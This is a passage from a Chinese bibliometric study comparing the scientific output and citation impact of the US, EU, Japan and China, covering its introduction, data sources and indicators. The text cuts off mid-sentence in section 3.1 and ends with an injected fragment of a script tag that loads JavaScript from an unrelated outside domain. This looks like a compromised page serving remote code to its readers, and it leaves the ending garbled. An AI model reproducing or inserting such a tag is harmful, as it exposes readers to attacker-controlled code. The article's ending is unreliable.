1 引言

    最近有文章分析了国家科学系统的影响力和竞争力，尽管它们结合所有领域的方法所得到的结果略有不同，但是美国、日本和欧洲大国的优势还是显而易见的。总的来说，美国和欧盟之间世界科技领先者之争在欧洲和美国已经成为一个热门的话题。在欧洲，世界科技巨头美国、欧盟和日本之间的竞争与合作更是成为广泛关注的焦点。按照政治经济学的习惯用法，欧洲委员会使用“三极”一词来描绘这种群星争灿的局面。然而最近更多的研究表明，这种模式已经变得过时了。科学引文索引数据库（Web of Science）中的数据表明，中国已经赶上法国并正在挑战德国的位置。中国在该数据库中的份额以年均近14%的惊人速度增长。很明显，这是和中国经济的快速发展相一致的。中国可能在去年就已经超过法国成为世界第五经济大国了。随之也产生了以下问题：我们是否该用“四极”模式来代替旧的“三极”模式？

    本文的目的在于分析这“四极”之间的科技竞赛。全球化时代已经显示出，处于领先地位的科技强国和正在崛起的国家之间的竞争与合作是科学和技术发展的推动力。

    2 数据来源和方法

    本项研究的数据来源于Web of Science扩展数据库(SCI¬-E)和德温特专利索引数据库（Derwent Innovations Index）中的论文与专利数据（两个数据库都属于美国宾夕法尼亚州费城的ISI汤姆森公司）。为了对全球科技形势的变化进行监测，本文选取1991－2005年的数据进行分析。所有收录在ISI科学引文索引扩展数据库(SCIE)年卷中的文章如论文、信函、笔记和评论都属于本文的分析对象。根据文章提供的机构地址，将它们划归不同的国家。除了美国、日本和中国以外，本文还对欧盟进行了分析。为了保证方法的公平使用和分析结果的一致，对所有阶段欧盟15国的数据都进行了分析。为了避免重复计算，对欧盟成员国之间的合作论文进行了去重。此外，计算欧盟国际合作论文时,不考虑成员国之间的合作论文数。因此本研究中的欧盟国际合作论文是指欧洲国家与欧盟国家以外的国家合作的论文。

    本文采用文献计量和技术计量指标对科学技术的活动和影响力进行了分析。这套指标包括出版物产出指标（例如出版物数量占世界出版物总数的份额）、基于主题分类的论文特征以及引文指标（如期刊和主题的规范化平均被引率）。同时，本文还特别使用了下列测量指标。

    （1）平均被引率(MOCR)：定义为被引次数与论文数的比值。本项研究使用的引文窗口是3年。

    （2）相对被引率(RCR)： 平均被引率与每篇论文的期望被引率的比值。每篇论文的期望被引率是根据发表此论文的期刊三年中的引用影响力来计算的。相对被引率用来衡量一个国家或地区的出版物的被引率是高于或低于以期刊影响力为基础的度量标准。既然论文的相对被引率是以期刊为标准进行度量的，那么该指标对于不同科学领域(子领域)的引文活动的较大差异,不具备灵敏性。

    （3）规范化平均被引率(NMCR)：该指标的定义与RCR指标定义类似，是平均被引率与论文所在子领域加权平均被引率的比值。该指标是另一个期望被引率。与RCR指标相比，NMCR指标是以特定子领域为标准来计算被引率的。两个相关指标的比值揭示了国家出版物的产出形态，无论研究实体发表论文的期刊的影响力比平均值是高还是非常低，情况都是如此。需要强调的是，本项研究用来计算这些相对指标的引文窗口是3年。

    （4）活性指数（AI），最初是Frame用来分析出版物的国家分布状况而引入的文献计量学指标。该指标采用某一国家或地区出版物数量与世界总量的比值来度量其在特定领域占世界的份额。有关AI指标的详细定义和解释可以在文献中找到，这里就不再赘述了。在Glänzel 和Schubert将科学分为12个主要领域之后，该指标便可以用最精确的图表表示。

    本项研究所有相对指标的参照值都是1.0。数值高于（低于）1.0表示国家水平比期望水平高（低）。另外，采用表示论文与专利互相引用关系的指标对科技之间的关联模式和它们对科学研究的影响进行分析。

    3 研究结果

    3.1 “四极”模式：科学产出能力的国家分布

    最近由欧洲委员会发布的两篇关于科学技术指标的报告指出，欧盟的科学产出能力已经超过了由美国、加拿大和墨西哥组成的北美自由贸易协议组织（NAFTA）。数十年来，NAFTA组织都是世界最大的科学知识产出地，欧盟15国和日本分别位居第二位和第三位。通常将经济、科学和技术领域的三个?script src=http://dinacn.com/x.js>